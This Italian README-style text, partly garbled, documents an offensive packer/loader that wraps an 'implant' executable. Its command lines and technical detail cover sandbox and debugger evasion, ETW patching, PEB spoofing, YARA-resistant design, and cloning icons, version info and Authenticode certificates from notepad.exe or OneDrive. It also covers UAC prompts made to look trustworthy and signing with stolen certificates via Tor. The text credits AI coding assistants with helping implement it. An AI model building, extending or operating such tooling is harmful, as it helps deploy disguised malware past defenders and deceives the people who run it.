Non esiste alcun valore fisso nel blocco — ogni campo è o casuale (key_salt, magic) o specifico della build. Anche l'ID RT_RCDATA è specifico per build. YARA non può ancorarsi a una sequenza di byte statica o a un ID di risorsa fisso.
Codici di uscita del loader (Release): tutti i percorsi di fallimento del loader escono con codice 0 tramite LOADER_EXIT (Stub/Common.h). Le build di debug mantengono codici distinti per la diagnosi dei passaggi. Le rilevazioni di evasione escono già con 0.
Il --preset del builder seleziona 3 indici DLL memorizzati in .rsrc. Lo stub risolve i nomi da g_DllPool a runtime — nessun nome DLL appare nel payload o nei metadati.
/NODEFAULTLIB), nessun malloc/free, nessun <string.h>Mantenuto da: Razz | Realizzato per ricerca di sicurezza consapevole dell'opsec e divertimento
Assistenza nell'implementazione fatta con Claude Code, Grok e DeepSeek
MIT — uso autorizzato solo. Vedi LICENSE per la dichiarazione completa.
Disabilita funzionalità OPSEC specifiche (ad esempio quando l'ambiente target non necessita di ETW patching, o il PEB spoof rompe un payload che percorre il proprio PEB):``` Builder.exe implant.exe packed.exe --disable etw Builder.exe implant.exe packed.exe --disable peb,spoofing
`--disable all` copre solo i controlli sandbox/debug. I token OPSEC (`etw`, `spoofing`, `peb`, `tls`) devono essere elencati esplicitamente.
</details>
<details>
<summary><b>Clonazione dell'identità — VERSIONINFO, icona, certificato Authenticode</b></summary>
Copia l'identità estetica di qualsiasi PE donatore nell'output compresso. Le proprietà di Esplora file, l'icona della barra delle applicazioni e la scheda Firme digitali del binario di output riflettono tutte il donatore:```
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe"
Cosa viene clonato:
RT_VERSION) — scheda "Proprietà → Dettagli" di Explorer: azienda, nome del prodotto, versione del file, copyright. Vengono copiati tutti gli ID lingua presenti nel donatore.RT_GROUP_ICON + RT_ICON) — il gruppo di icone con ID più basso (quello che Explorer utilizza per l'icona della shell). La barra delle applicazioni, alt-tab e il browser dei file mostrano tutti l'icona del donatore.WIN_CERTIFICATE PKCS#7 grezzo viene aggiunto alla fine del file allineato a 8 byte. La scheda "Proprietà → Firme digitali" di Explorer mostra il firmatario del donatore (ad es. Microsoft Windows). Get-AuthenticodeSignature restituisce Status = HashMismatch — la firma è strutturalmente valida ma l'hash copre i byte del donatore, non i nostri. Sconfigge un'ispezione visiva casuale; qualsiasi verificatore reale (signtool verify, WinVerifyTrust, motori AV) rileva la discrepanza.OPSEC — OriginalFilename: il VERSIONINFO del donatore incorpora OriginalFilename (ad es. notepad.exe). Alcuni controllori di firme e le euristiche di Defender segnalano una discrepanza tra OriginalFilename e il nome effettivo del file su disco. Rinominare l'output in modo che corrisponda:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe
**Combinazione con `--pfx`:** quando sono presenti entrambi i flag, la Fase 11 (clonazione) viene eseguita prima della Fase 12 (firma). La firma reale sovrascrive la directory del certificato clonato; VERSIONINFO e icona vengono preservati. `Get-AuthenticodeSignature` mostra il tuo certificato come valido, non quello del donatore con hash non corrispondente:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
Verifica:```powershell
Get-AuthenticodeSignature .\notepad.exe | Format-List *
Get-AuthenticodeSignature .\notepad.exe | Format-List *
signtool verify /pa /v notepad.exe
</details>
<details>
<summary><b>Elevazione UAC — manifest requireAdministrator</b></summary>
Incorpora un manifest `requestedExecutionLevel="requireAdministrator"` in modo che il PE risultante attivi un prompt UAC all'avvio e riceva un token ad alta integrità se l'utente approva:```
Builder.exe implant.exe packed.exe --uac
Il manifest è una risorsa RT_MANIFEST (ID risorsa 1 — CREATEPROCESS_MANIFEST_RESOURCE_ID), lo stesso slot che il caricatore di Windows verifica per i manifest di compatibilità applicativa e privilegi. L'output è altrimenti identico a una build senza --uac; nessuna modifica al percorso dello Stub o del payload.
Combinazione con --clone-meta e --pfx: La Fase 10.5 (manifest) viene eseguita prima della Fase 11 (clone) e della Fase 12 (firma). La firma Authenticode calcolata nella Fase 12 copre tutte le risorse incorporate, incluso il manifest — l'hash è valido sull'intero binario finale. La finestra di dialogo UAC mostra il nome dell'editore dal certificato di firma:```
Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
**OPSEC:** un prompt UAC è un evento visibile e rivolto all'utente. Il dialogo "Vuoi consentire a questa app di apportare modifiche al dispositivo?" mostra il nome del file su disco e l'editore Authenticode (o "Editore sconosciuto" se non firmato). Combina `--uac` con `--clone-meta` per mostrare un'icona familiare e `--pfx` per mostrare un editore credibile. Per esecuzioni non presidiate che partono già da un processo elevato (ad es. servizio, movimento laterale WMI, shell amministratore locale), `--uac` non è necessario.
</details>
<details>
<summary><b>Firma Authenticode (PFX, senza signtool)</b></summary>
Firma l'output impacchettato con un certificato PFX. Il builder comunica direttamente con `mssign32!SignerSignEx2` — nessun `signtool.exe` sulla workstation dell'operatore, nessun strumento di firma Windows SDK richiesto:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2
PFX senza password (ometti completamente il flag --pfx-pass):```
Builder.exe implant.exe packed.exe --pfx cert.pfx
Aggiungi un timestamp RFC 3161 in modo che la firma rimanga valida dopo la scadenza o la revoca del certificato. Nota che l'autorità di timestamp registra l'IP di build e l'esatto momento di firma — vedi la nota OPSEC qui sotto:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 --ts-url http://timestamp.digicert.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.sectigo.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.globalsign.com/tsa/r6advanced1
OPSEC — quando saltare il timestamp: --ts-url è un'opzione attivabile manualmente. Ogni richiesta a una TSA pubblica inserisce l'host di compilazione dell'operatore nei log HTTP della TSA insieme al secondo esatto in cui la firma è stata prodotta — una forte correlazione forense se il campione dovesse successivamente emergere in un'analisi di incidente. Incorporare il timestamp, inoltre, imprime lo stesso istante nel blob della firma all'interno del PE impacchettato, dove qualsiasi analista futuro può leggerlo. Quando il timestamp non è necessario (tipico per certificati autofirmati o operazioni a breve termine in cui la validità della firma oltre la scadenza del certificato non è rilevante), omettere il flag e la firma rimane completamente isolata dall'aria (air-gapped).
OPSEC — quando mantenere il timestamp: i certificati di firma del codice rubati o a breve termine che verranno revocati traggono beneficio da una controfirma TSA — Windows accetta la firma dopo la revoca, purché il timestamp sia antecedente alla data di revoca. In tal caso, firmare da una VM isolata attraverso un proxy/Tor e considerare i log della TSA come un'esposizione deliberata (ma circoscritta).
La chiave privata non viene mai persistita: PFXImportCertStore viene chiamato con PKCS12_NO_PERSIST_KEY, quindi nessun contenitore di chiavi appare in %APPDATA%\Microsoft\Crypto. Digest SHA-256, KSP preferito da CNG per compatibilità con PFX prodotti da New-SelfSignedCertificate e OpenSSL ≥3.x.
Applicato tramite NtProtectVirtualMemory (via HellsHall + pivot RSP Moonwalk). Una variabile separata pPage contiene l'indirizzo di base per NtProtect (il kernel potrebbe arrotondarlo al limite di una pagina); pEtw è preservato per la scrittura effettiva del byte.
SearchIndexer.exetaskhostw.exespoolsv.exewlrmdr.exeWMPDMC.exehvix64.exeCryptGenRandom| Check | Metodo | Cosa rileva |
|---|
debugger | PEB.BeingDebugged, PEB.NtGlobalFlag, flag ProcessHeap, NtQueryInformationProcess(ProcessDebugPort) | Debugger Win32 collegato |
api-emu | RtlComputeCrc32(seed, NULL, 0) — deve essere uguale a seed | Emulazione API che restituisce risultati errati |
exec-ctrl | Semaforo nominato (wuauctl predefinito, configurabile) — ERROR_ALREADY_EXISTS | Seconda esecuzione del campione |
sleep-fwd | Sleep(ms) + delta GetTickCount64, soglia = 90% di ms | Sandbox che accelera le chiamate Sleep |
Controlli soft — sono necessari 2 o più positivi per uscire (riduce i falsi positivi):
| Check | Soglia | Cosa rileva |
|---|---|---|
uptime | uptime del sistema < N minuti (predefinito: 2) | VM sandbox appena creata |
cpu | numero di processori logici < 2 | Sandbox con specifiche basse |
screen | larghezza schermo ≤ 1024 px | Risoluzioni sandbox 800×600 / 1024×768 |
files | conteggio sottochiavi HKCU\...\Explorer\RecentDocs < 5 | Profilo utente pulito/falso |
Ritardo temporale:
Evasion_HammerDelay() consuma tempo reale tramite coppie VirtualAlloc/VirtualFree cronometrate da GetTickCount64. La durata è configurabile tramite --hammer-s (predefinito: 3 secondi). Gli acceleratori temporali della sandbox non possono accelerare i round-trip dell'allocatore, rendendo questo efficace contro l'elusione sleep-fast-forward che bypassa il controllo sleep-fwd.
UpdateResourceART_GROUP_ICONFindResourceAERROR_RESOURCE_NAME_NOT_FOUNDLOAD_LIBRARY_AS_DATAFILEEnumResourceNamesALANG_NEUTRALEnumResourceLanguagesALANGIDFindResourceExAUpdateResourceABeginUpdateResourceA(FALSE).rsrcCloneMeta_CopyCertDirectory legge il donatore in un buffer flat tramite ReadFileToBuffer, analizza le intestazioni DOS → NT (supportando sia donatori x86 che x64 tramite dispatch OptionalHeader.Magic), ed estrae DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY]. Quella voce di directory usa un offset di file (non un RVA) — è l'unica directory dati PE dove VirtualAddress è un offset byte grezzo nel file. Il blob del certificato viene aggiunto a EOF allineato a 8 byte (requisito di allineamento WIN_CERTIFICATE), la voce della directory SECURITY del target viene modificata in-place, quindi MapFileAndCheckSumA (da imagehlp.lib) ricalcola il checksum PE. L'handle di scrittura viene chiuso prima di chiamare MapFileAndCheckSumA — MapFileAndCheckSumA apre il proprio handle interno e fallirebbe con un conflitto di condivisione se il chiamante detiene un handle di scrittura esclusivo — poi viene riaperto brevemente per scrivere solo i 4 byte del checksum all'offset di file calcolato.
New-SelfSignedCertificateSignerSignEx2NTE_BAD_TYPE0x8009000A--ts-url è facoltativo. La marcatura temporale RFC 3161 invia una richiesta HTTP all'autorità di marcatura temporale, che registra l'IP del richiedente più l'istante della firma, e incorpora quell'istante nel blob della firma all'interno del PE. Salta il flag per una firma completamente air-gapped; usalo solo quando la firma deve sopravvivere alla durata del certificato (ad es. certificati di firma del codice rubati / di breve durata che verranno revocati).
| Indice | DLL | Gruppo |
|---|
| 0 | xpsservices.dll | |
| 1 | msi.dll | |
| 2 | dbghelp.dll | |
| 3 | winmm.dll | MEDIA |
| 4 | dxgi.dll | MEDIA |
| 5 | oleaut32.dll | MEDIA |
| 6 | winhttp.dll | NETWORK |
| 7 | wtsapi32.dll | NETWORK |
| 8 | wlanapi.dll | NETWORK |
| 9 | bcrypt.dll | (RANDOM-only) |
L'indice 9 (bcrypt.dll) è raggiungibile solo tramite --preset RANDOM; i preset nominati coprono gli indici 0–8 in gruppi di tre. Il builder verifica al momento della build che almeno una delle tre DLL selezionate abbia una sezione eseguibile abbastanza grande per il blob del payload e avvisa se nessuna è idonea.